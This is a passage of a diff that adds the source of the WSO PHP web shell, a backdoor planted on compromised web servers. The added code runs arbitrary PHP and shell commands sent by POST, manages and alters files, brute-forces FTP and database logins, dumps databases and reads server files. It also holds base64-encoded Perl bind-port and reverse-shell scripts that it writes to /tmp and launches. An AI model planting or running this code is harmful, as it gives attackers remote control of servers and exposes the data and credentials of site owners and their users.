'; + wsoFooter(); + } + function actionPhp() { + if (isset($_POST['ajax'])) { + WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true); + ob_start(); + try { + eval($_POST['p1']); + } + catch(Exception $e) { + echo $e->getMessage(); + } + $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n"; + echo strlen($temp), "\n", $temp; + exit; + } + if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0); + wsoHeader(); + if (isset($_POST['p2']) && ($_POST['p2'] == 'info')) { + echo '

PHP info

'; + ob_start(); + phpinfo(); + $tmp = ob_get_clean(); + $tmp = preg_replace(array('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU', '!td, th {(.*)}!msiU', '!]+>!msiU',), array('', '.e, .v, .h, .h th {$1}', ''), $tmp); + echo str_replace('
'; + } + echo '

Execution PHP-code

+
+ + Use [ ⌘/CTRL+Enter ] to run'; + echo '
';
+		if (!empty($_POST['p1'])) {
+			ob_start();
+			try {
+				eval($_POST['p1']);
+			}
+			catch(Exception $e) {
+				echo $e->getMessage();
+			}
+			echo htmlspecialchars(ob_get_clean());
+		}
+		echo '
'; + wsoFooter(); + } + function actionFilesMan() { + if (is_file($_POST['c'])) { + $_POST['c'] = preg_match('#^/#', $_POST['c'])?$_POST['c']:$GLOBALS['cwd'].$_POST['c']; + $_POST['c'] = explode('/', $_POST['c']); + $_POST['p1'] = array_pop($_POST['c']); + $_POST['c'] = implode('/', $_POST['c']); + actionFilesTools(); + die(); + } + if (!empty($_COOKIE['f'])) { + $_COOKIE['f'] = @unserialize($_COOKIE['f']); + } + if (!empty($_POST['p1'])) { + switch ($_POST['p1']) { + case 'uploadFile': + if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) echo "Can't upload file!"; + break; + case 'mkdir': + if (!@mkdir($_POST['p2'])) echo "Can't create new dir"; + break; + case 'delete': + function deleteDir($file_path) { + $file_path = (substr($file_path, -1) == '/') ? $file_path : $file_path . '/'; + $dh = opendir($file_path); + while (($item = readdir($dh)) !== false) { + $item = $file_path . $item; + if ((basename($item) == "..") || (basename($item) == ".")) continue; + $type = filetype($item); + if ($type == "dir") deleteDir($item); + else @unlink($item); + } + closedir($dh); + @rmdir($file_path); + } + if (is_array(@$_POST['f'])) foreach ($_POST['f'] as $f) { + if ($f == '..') continue; + $f = urldecode($f); + if (is_dir($f)) deleteDir($f); + else @unlink($f); + } + break; + case 'paste': + if ($_COOKIE['act'] == 'copy') { + function copy_paste($c, $s, $d) { + if (is_dir($c . $s)) { + mkdir($d . $s); + $h = @opendir($c . $s); + while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/'); + } elseif (is_file($c . $s)) @copy($c . $s, $d . $s); + } + foreach ($_COOKIE['f'] as $f) copy_paste($_COOKIE['c'], $f, $GLOBALS['cwd']); + } elseif ($_COOKIE['act'] == 'move') { + function move_paste($c, $s, $d) { + if (is_dir($c . $s)) { + mkdir($d . $s); + $h = @opendir($c . $s); + while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/'); + } elseif (@is_file($c . $s)) @copy($c . $s, $d . $s); + } + foreach ($_COOKIE['f'] as $f) @rename($_COOKIE['c'] . $f, $GLOBALS['cwd'] . $f); + } elseif ($_COOKIE['act'] == 'zip') { + if (class_exists('ZipArchive')) { + $zip = new ZipArchive(); + if ($zip->open($_POST['p2'], 1)) { + chdir($_COOKIE['c']); + foreach ($_COOKIE['f'] as $f) { + if ($f == '..') continue; + if (@is_file($_COOKIE['c'] . $f)) $zip->addFile($_COOKIE['c'] . $f, $f); + elseif (@is_dir($_COOKIE['c'] . $f)) { + $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/')); + foreach ($iterator as $key => $value) { + $zip->addFile(realfile_path($key), $key); + } + } + } + chdir($GLOBALS['cwd']); + $zip->close(); + } + } + } elseif ($_COOKIE['act'] == 'unzip') { + if (class_exists('ZipArchive')) { + $zip = new ZipArchive(); + foreach ($_COOKIE['f'] as $f) { + if ($zip->open($_COOKIE['c'] . $f)) { + $zip->extractTo($GLOBALS['cwd']); + $zip->close(); + } + } + } + } elseif ($_COOKIE['act'] == 'tar') { + chdir($_COOKIE['c']); + $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']); + wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f'])); + chdir($GLOBALS['cwd']); + } + unset($_COOKIE['f']); + setcookie('f', '', time() - 3600); + break; + default: + if (!empty($_POST['p1'])) { + WSOsetcookie('act', $_POST['p1']); + WSOsetcookie('f', serialize(@$_POST['f'])); + WSOsetcookie('c', @$_POST['c']); + } + break; + } + } + wsoHeader(); + wsoBreadCrumps(); + echo '
'; + $dirContent = wsoScandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']); + if ($dirContent === false) { + echo 'Can\'t open this folder!'; + wsoFooter(); + return; + } + global $sort; + $sort = array('name', 1); + if (!empty($_POST['p1'])) { + if (preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) $sort = array($match[1], (int)$match[2]); + } + echo " + + + + + + + + + + + "; + $dirs = $files = array(); + $n = count($dirContent); + for ($i = 0;$i < $n;$i++) { + $ow = @posix_getpwuid(@fileowner($dirContent[$i])); + $gr = @posix_getgrgid(@filegroup($dirContent[$i])); + $tmp = array('name' => $dirContent[$i], 'file_path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i])); + if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) $files[] = array_merge($tmp, array('type' => 'file')); + elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['file_path']))); + elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i]) && ($dirContent[$i] != ".")) $dirs[] = array_merge($tmp, array('type' => 'dir')); + } + $GLOBALS['sort'] = $sort; + function wsoCmp($a, $b) { + if ($GLOBALS['sort'][0] != 'size') return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1); + else return (($a['size'] < $b['size']) ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1); + } + usort($files, "wsoCmp"); + usort($dirs, "wsoCmp"); + $files = array_merge($dirs, $files); + $l = 0; + foreach ($files as $f) { + $file_style = 'style="color:' . wsoPermsColorOnly($GLOBALS['cwd'] . $f['name']) . '"'; + echo ' + + + + + + + + '; + $l = $l ? 0 : 1; + } + echo " + +
NameSizeModifyOwner/GroupPermissionsActions
' . ($f['type'] == 'dir' ?'[ '.htmlspecialchars($f['name']).' ]':htmlspecialchars($f['name'])) : ($f['type'] == 'file' ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'' . (is_writable($GLOBALS['cwd'] . $f['name']) ? 'edit' : 'view') . '\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['file_path'] . '\')" ' . (empty($f['link']) ? '' : 'title="' . $f['link'] . '"') . '>'.($f['type'] == 'dir' ?'[ '.htmlspecialchars($f['name']).' ]':htmlspecialchars($f['name'])).'')) . '' . ($f['type'] == 'file' ? wsoViewSize($f['size']) : $f['type']) . '' . $f['owner'] . '/' . $f['group'] . '' . $f['perms'] . ' + [ copy name ] + [ copy path ] + [ rename ] +
+ + + + + "; + if (class_exists('ZipArchive')) { + echo " "; + } + echo " "; + if (!empty($_COOKIE['act']) && count($_COOKIE['f'])) { + echo " "; + } + if (!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar'))) { + echo "file name: "; + } + echo " +
+
"; + wsoFooter(); + } + function actionStringTools() { + if (!function_exists('hex2bin')) { + function hex2bin($p) { + return decbin(hexdec($p)); + } + } + if (!function_exists('binhex')) { + function binhex($p) { + return dechex(bindec($p)); + } + } + if (!function_exists('hex2ascii')) { + function hex2ascii($p) { + $r = ''; + for ($i = 0;$i < strLen($p);$i+= 2) { + $r.= chr(hexdec($p[$i] . $p[$i + 1])); + } + return $r; + } + } + if (!function_exists('ascii2hex')) { + function ascii2hex($p) { + $r = ''; + for ($i = 0;$i < strlen($p);++$i) $r.= sprintf('%02X', ord($p[$i])); + return strtoupper($r); + } + } + if (!function_exists('full_urlencode')) { + function full_urlencode($p) { + $r = ''; + for ($i = 0;$i < strlen($p);++$i) $r.= '%' . dechex(ord($p[$i])); + return strtoupper($r); + } + } + $stringTools = array('Base64 encode' => 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'binhex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen',); + if (isset($_POST['ajax'])) { + WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true); + ob_start(); + if (in_array($_POST['p1'], $stringTools)) echo $_POST['p1']($_POST['p2']); + $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n"; + echo strlen($temp), "\n", $temp; + exit; + } + if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0); + wsoHeader(); + echo '

String conversions

'; + echo "

";
+			if (!empty($_POST['p1'])) {
+				if (in_array($_POST['p1'], $stringTools)) echo htmlspecialchars($_POST['p1']($_POST['p2']));
+			}
+			echo "

Search files:

+
+ + + + +
Text:
Path:
Name:
"; + function wsoRecursiveGlob($file_path) { + if (substr($file_path, -1) != '/') $file_path.= '/'; + $file_paths = @array_unique(@array_merge(@glob($file_path . $_POST['p3']), @glob($file_path . '*', GLOB_ONLYDIR))); + if (is_array($file_paths) && @count($file_paths)) { + foreach ($file_paths as $item) { + if (@is_dir($item)) { + if ($file_path != $item) wsoRecursiveGlob($item); + } else { + if (empty($_POST['p2']) || @strpos(@file_get_contents($item), $_POST['p2']) !== false) echo "" . htmlspecialchars($item) . "
"; + } + } + } + } + if (@$_POST['p3']) wsoRecursiveGlob($_POST['c']); + echo "

Search for hash:

+
+
+ +
+
+
+
"; + wsoFooter(); + } + function actionFilesTools() { + if (isset($_POST['p1'])) $_POST['p1'] = urldecode($_POST['p1']); + if (@$_POST['p2'] == 'download') { + if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) { + ob_start("ob_gzhandler", 4096); + header("Content-Disposition: attachment; filename=" . basename($_POST['p1'])); + if (function_exists("mime_content_type")) { + $type = @mime_content_type($_POST['p1']); + header("Content-Type: " . $type); + } else header("Content-Type: application/octet-stream"); + $fp = @fopen($_POST['p1'], "r"); + if ($fp) { + while (!@feof($fp)) echo @fread($fp, 1024); + fclose($fp); + } + } + exit; + } + if (@$_POST['p2'] == 'mkfile') { + if (!file_exists($_POST['p1'])) { + $fp = @fopen($_POST['p1'], 'w'); + if ($fp) { + $_POST['p2'] = "edit"; + fclose($fp); + } + } + } + wsoHeader(); + wsoBreadCrumps(); + echo '
'; + if (!file_exists(@$_POST['p1'])) { + echo 'File not exists'; + wsoFooter(); + return; + } + $uid = @posix_getpwuid(@fileowner($_POST['p1'])); + if (!$uid) { + $uid['name'] = @fileowner($_POST['p1']); + $gid['name'] = @filegroup($_POST['p1']); + } else $gid = @posix_getgrgid(@filegroup($_POST['p1'])); + echo 'Name: ' . htmlspecialchars(@basename($_POST['p1'])) . ' Size: ' . (is_file($_POST['p1']) ? wsoViewSize(filesize($_POST['p1'])) : '-') . ' Permission: ' . wsoPermsColor($_POST['p1']) . ' Owner/Group: ' . $uid['name'] . '/' . $gid['name'] . '
'; + echo 'Create time: ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' Access time: ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' Modify time: ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '

'; + if (empty($_POST['p2'])) $_POST['p2'] = 'view'; + if (is_file($_POST['p1'])) $m = is_writable($_POST['p1']) ? array('View', 'Download', 'Edit', 'Chmod', 'Rename', 'Touch') : array('View', 'Download'); + else $m = array('Chmod', 'Rename', 'Touch'); + foreach ($m as $v) echo '' . ((strtolower($v) == @$_POST['p2']) ? '[ ' . $v . ' ]' : $v) . ' '; + echo '

'; + switch ($_POST['p2']) { + case 'view': + echo ''; + break; + case 'chmod': + if (!empty($_POST['p3'])) { + $perms = 0; + for ($i = strlen($_POST['p3']) - 1;$i >= 0;--$i) $perms+= (int)$_POST['p3'][$i] * pow(8, (strlen($_POST['p3']) - $i - 1)); + if (!@chmod($_POST['p1'], $perms)) echo 'Can\'t set permissions!
'; + } + clearstatcache(); + echo '
'; + break; + case 'edit': + if (!is_writable($_POST['p1'])) { + echo 'File isn\'t writeable'; + break; + } + if (!empty($_POST['p3'])) { + $time = @filemtime($_POST['p1']); + $_POST['p3'] = $_POST['p3']; + $fp = @fopen($_POST['p1'], "w"); + if ($fp) { + @fwrite($fp, $_POST['p3']); + @fclose($fp); + echo 'Saved!
'; + @touch($_POST['p1'], $time, $time); + } + } + echo '
Use [ ⌘/CTRL+Enter ] to save
'; + break; + case 'rename': + if (!empty($_POST['p3'])) { + if (!@rename($_POST['p1'], $_POST['p3'])) echo 'Can\'t rename!
'; + else die(''); + } + echo '
'; + break; + case 'touch': + if (!empty($_POST['p3'])) { + $time = strtotime($_POST['p3']); + if ($time) { + if (!touch($_POST['p1'], $time, $time)) echo 'Fail!'; + else echo 'Touched!'; + } else echo 'Bad time format!'; + } + clearstatcache(); + echo '
'; + break; + } + echo '
'; + wsoFooter(); + } + function actionConsole() { + if (!empty($_POST['p1']) && !empty($_POST['p2'])) { + WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true); + $_POST['p1'].= ' 2>&1'; + } + if (isset($_POST['ajax'])) { + WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true); + ob_start(); + echo "self.cf.cmd.value='';\n"; + $temp = wsoEx($_POST['p1']); + $temp = $temp ? $temp : "↳ Query did not return anything"; + $temp = addcslashes("\n$ " . $_POST['p1'] . "\n" . $temp, "\n\r\\'\0"); + if (preg_match("!.*cd\s+([^;]+)$!", $_POST['p1'], $match)) { + if (@chdir($match[1])) { + $GLOBALS['cwd'] = @getcwd(); + echo "c_='" . $GLOBALS['cwd'] . "';"; + } + } + echo "self.cf.output.value+='" . $temp . "';"; + echo "self.cf.output.scrollTop = self.cf.output.scrollHeight;"; + $temp = ob_get_clean(); + echo strlen($temp), "\n", $temp; + exit; + } + if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0); + wsoHeader(); + echo ""; + echo '

Console

redirect stderr to stdout (2>&1)
$
'; + echo '
'; + wsoFooter(); + } + function actionSelfRemove() { + if ($_POST['p1'] == 'yes') if (@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) die('Shell has been removed'); + else echo 'unlink error!'; + if ($_POST['p1'] != 'yes') wsoHeader(); + echo '

Suicide

Really want to remove the shell?
Yes
'; + wsoFooter(); + } + function actionBruteforce() { + wsoHeader(); + if (isset($_POST['proto'])) { + echo '

Results

Type: ' . htmlspecialchars($_POST['proto']) . ' Server: ' . htmlspecialchars($_POST['server']) . '
'; + if ($_POST['proto'] == 'ftp') { + function wsoBruteForce($ip, $port, $login, $pass) { + $fp = @ftp_connect($ip, $port ? $port : 21); + if (!$fp) return false; + $res = @ftp_login($fp, $login, $pass); + @ftp_close($fp); + return $res; + } + } elseif ($_POST['proto'] == 'mysql') { + function wsoBruteForce($ip, $port, $login, $pass) { + try { + $res = @new PDO("mysql:host=$ip;", $login, $pass); + return $res; + } + catch(Exception $e) { + echo !preg_match('/Access denied/i', $e->getMessage()) ? 'Error: ' . $e->getMessage() . "
\n" : ''; + return false; + } + } + } elseif ($_POST['proto'] == 'pgsql') { + function wsoBruteForce($ip, $port, $login, $pass) { + $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres"; + $res = @pg_connect($str); + @pg_close($res); + return $res; + } + } + $success = 0; + $attempts = 0; + $server = explode(":", $_POST['server']); + if ($_POST['type'] == 1) { + $temp = @file('/etc/passwd'); + if (is_array($temp)) foreach ($temp as $line) { + $line = explode(":", $line); + ++$attempts; + if (wsoBruteForce(@$server[0], @$server[1], $line[0], $line[0])) { + $success++; + echo '' . htmlspecialchars($line[0]) . ':' . htmlspecialchars($line[0]) . " SUCCESS
\n"; + flush(); + break; + } else { + echo '' . htmlspecialchars($line[0]) . ':' . htmlspecialchars($line[0]) . " fail
\n"; + flush(); + } + if (wsoBruteForce(@$server[0], @$server[1], $line[0], strrev($line[0]))) { + $success++; + echo '' . htmlspecialchars($line[0]) . ':' . htmlspecialchars(strrev($line[0])) . " SUCCESS
\n"; + flush(); + break; + } else { + echo '' . htmlspecialchars($line[0]) . ':' . htmlspecialchars(strrev($line[0])) . " fail
\n"; + flush(); + } + } + } elseif ($_POST['type'] == 2) { + $temp = @file($_POST['dict']); + $temp[] = ''; + $temp[] = 'root'; + echo 'login: ' . htmlspecialchars($_POST['login']) . ': '; + if (is_array($temp)) foreach ($temp as $line) { + $line = trim($line); + ++$attempts; + if (wsoBruteForce($server[0], @$server[1], $_POST['login'], $line)) { + $success++; + echo '' . htmlspecialchars($line) . " SUCCESS
\n"; + flush(); + break; + } else { + echo '' . htmlspecialchars($line) . ", "; + flush(); + } + } + } + echo "Attempts: $attempts Success: $success

"; + } + echo '

Bruteforce

' . '' . '' . '' . '' . '' . '' . '
Type
' . '' . '' . 'Server:port
Brute type
' . '' . '' . '
Login
Dictionary
' . '
'; + echo '

'; + wsoFooter(); + } + function actionSql() { + class DbClass { + var $type; + var $link; + var $res; + function DbClass($type) { + $this->type = $type; + } + function connect($host, $user, $pass, $dbname) { + switch ($this->type) { + case 'mysql': + if ($this->link = @mysql_connect($host, $user, $pass, true)) return true; + break; + case 'pgsql': + $host = explode(':', $host); + if (!$host[1]) $host[1] = 5432; + if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname")) return true; + break; + } + return false; + } + function selectdb($db) { + switch ($this->type) { + case 'mysql': + if (@mysql_select_db($db)) return true; + break; + } + return false; + } + function query($str) { + switch ($this->type) { + case 'mysql': + return $this->res = @mysql_query($str); + break; + case 'pgsql': + return $this->res = @pg_query($this->link, $str); + break; + } + return false; + } + function fetch() { + $res = func_num_args() ? func_get_arg(0) : $this->res; + switch ($this->type) { + case 'mysql': + return @mysql_fetch_assoc($res); + break; + case 'pgsql': + return @pg_fetch_assoc($res); + break; + } + return false; + } + function listDbs() { + switch ($this->type) { + case 'mysql': + return $this->query("SHOW databases"); + break; + case 'pgsql': + return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'"); + break; + } + return false; + } + function listTables() { + switch ($this->type) { + case 'mysql': + return $this->res = $this->query('SHOW TABLES'); + break; + case 'pgsql': + return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'"); + break; + } + return false; + } + function error() { + switch ($this->type) { + case 'mysql': + return @mysql_error(); + break; + case 'pgsql': + return @pg_last_error(); + break; + } + return false; + } + function setCharset($str) { + switch ($this->type) { + case 'mysql': + if (function_exists('mysql_set_charset')) return @mysql_set_charset($str, $this->link); + else $this->query('SET CHARSET ' . $str); + break; + case 'pgsql': + return @pg_set_client_encoding($this->link, $str); + break; + } + return false; + } + function loadFile($str) { + switch ($this->type) { + case 'mysql': + return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file")); + break; + case 'pgsql': + $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '" . addslashes($str) . "';select file from wso2;"); + $r = array(); + while ($i = $this->fetch()) $r[] = $i['file']; + $this->query('drop table wso2'); + return array('file' => implode("\n", $r)); + break; + } + return false; + } + function dump($table, $fp = false) { + switch ($this->type) { + case 'mysql': + $res = $this->query('SHOW CREATE TABLE `' . $table . '`'); + $create = mysql_fetch_array($res); + $sql = $create[1] . ";\n"; + if ($fp) fwrite($fp, $sql); + else echo ($sql); + $this->query('SELECT * FROM `' . $table . '`'); + $i = 0; + $head = true; + while ($item = $this->fetch()) { + $sql = ''; + if ($i % 1000 == 0) { + $head = true; + $sql = ";\n\n"; + } + $columns = array(); + foreach ($item as $k => $v) { + if ($v === null) $item[$k] = "NULL"; + elseif (is_int($v)) $item[$k] = $v; + else $item[$k] = "'" . @mysql_real_escape_string($v) . "'"; + $columns[] = "`" . $k . "`"; + } + if ($head) { + $sql.= 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES \n\t(" . implode(", ", $item) . ')'; + $head = false; + } else $sql.= "\n\t,(" . implode(", ", $item) . ')'; + if ($fp) fwrite($fp, $sql); + else echo ($sql); + $i++; + } + if (!$head) if ($fp) fwrite($fp, ";\n\n"); + else echo (";\n\n"); + break; + case 'pgsql': + $this->query('SELECT * FROM ' . $table); + while ($item = $this->fetch()) { + $columns = array(); + foreach ($item as $k => $v) { + $item[$k] = "'" . addslashes($v) . "'"; + $columns[] = $k; + } + $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "\n"; + if ($fp) fwrite($fp, $sql); + else echo ($sql); + } + break; + } + return false; + } + }; + $db = new DbClass($_POST['type']); + if (@$_POST['p2'] == 'download') { + $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']); + $db->selectdb($_POST['sql_base']); + switch ($_POST['charset']) { + case "Windows-1251": + $db->setCharset('cp1251'); + break; + case "UTF-8": + $db->setCharset('utf8'); + break; + case "KOI8-R": + $db->setCharset('koi8r'); + break; + case "KOI8-U": + $db->setCharset('koi8u'); + break; + case "cp866": + $db->setCharset('cp866'); + break; + } + if (empty($_POST['file'])) { + ob_start("ob_gzhandler", 4096); + header("Content-Disposition: attachment; filename=dump.sql"); + header("Content-Type: text/plain"); + foreach ($_POST['tbl'] as $v) $db->dump($v); + exit; + } elseif ($fp = @fopen($_POST['file'], 'w')) { + foreach ($_POST['tbl'] as $v) $db->dump($v, $fp); + fclose($fp); + unset($_POST['p2']); + } else die(''); + } + wsoHeader(); + echo " +

Sql browser

+
+ + + + + + + + + +
TypeHostLoginPasswordDatabase
"; + $tmp = ""; + if (isset($_POST['sql_host'])) { + if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) { + switch ($_POST['charset']) { + case "Windows-1251": + $db->setCharset('cp1251'); + break; + case "UTF-8": + $db->setCharset('utf8'); + break; + case "KOI8-R": + $db->setCharset('koi8r'); + break; + case "KOI8-U": + $db->setCharset('koi8u'); + break; + case "cp866": + $db->setCharset('cp866'); + break; + } + $db->listDbs(); + echo "'; + } else echo $tmp; + } else echo $tmp; + echo " count the number of rows
+ "; + if (isset($db) && $db->link) { + echo "
"; + if (!empty($_POST['sql_base'])) { + $db->selectdb($_POST['sql_base']); + echo ""; + } + echo "
Tables:

"; + $tbls_res = $db->listTables(); + while ($item = $db->fetch($tbls_res)) { + list($key, $value) = each($item); + if (!empty($_POST['sql_count'])) $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . '')); + $value = htmlspecialchars($value); + echo " " . $value . "" . (empty($_POST['sql_count']) ? ' ' : " ({$n['n']})") . "
"; + } + echo "
File file_path:
"; + if (@$_POST['p1'] == 'select') { + $_POST['p1'] = 'query'; + $_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : 1; + $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']); + $num = $db->fetch(); + $pages = ceil($num['n'] / 30); + echo "" . $_POST['p2'] . " ({$num['n']} records) Page # "; + echo " of $pages"; + if ($_POST['p3'] > 1) echo " < Prev"; + if ($_POST['p3'] < $pages) echo " Next >"; + $_POST['p3']--; + if ($_POST['type'] == 'pgsql') $_POST['p2'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . ($_POST['p3'] * 30); + else $_POST['p2'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . ($_POST['p3'] * 30) . ',30'; + echo "

"; + } + if ((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) { + $db->query(@$_POST['p2']); + if ($db->res !== false) { + $title = false; + echo ''; + $line = 1; + while ($item = $db->fetch()) { + if (!$title) { + echo ''; + foreach ($item as $key => $value) echo ''; + reset($item); + $title = true; + echo ''; + $line = 2; + } + echo ''; + $line = $line == 1 ? 2 : 1; + foreach ($item as $key => $value) { + if ($value == null) echo ''; + else echo ''; + } + echo ''; + } + echo '
' . $key . '
null' . nl2br(htmlspecialchars($value)) . '
'; + } else { + echo '
Error: ' . htmlspecialchars($db->error()) . '
'; + } + } + echo "

"; + echo "

"; + if ($_POST['type'] == 'mysql') { + $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'"); + if ($db->fetch()) echo "
Load file
"; + } + if (@$_POST['p1'] == 'loadfile') { + $file = $db->loadFile($_POST['p2']); + echo '
' . htmlspecialchars($file['file']) . '
'; + } + } else { + echo htmlspecialchars($db->error()); + } + echo '
'; + wsoFooter(); + } + function actionNetwork() { + wsoHeader(); + $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7"; + $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0="; + echo "

Network tools

+
+ Bind port to /bin/sh [perl]
+ Port: +
+
+ Back-connect [perl]
+ Server: Port: +

"; + if (isset($_POST['p1'])) { + function cf($f, $t) { + $w = @fopen($f, "w"); + if ($w) { + @fwrite($w, @base64_decode($t)); + @fclose($w); + } + } + if ($_POST['p1'] == 'bpp') { + cf("/tmp/bp.pl", $bind_port_p); + $out = wsoEx("perl /tmp/bp.pl " . $_POST['p2'] . " 1>/dev/null 2>&1 &"); + sleep(1); + echo "
$out\n" . wsoEx("ps aux | grep bp.pl") . "
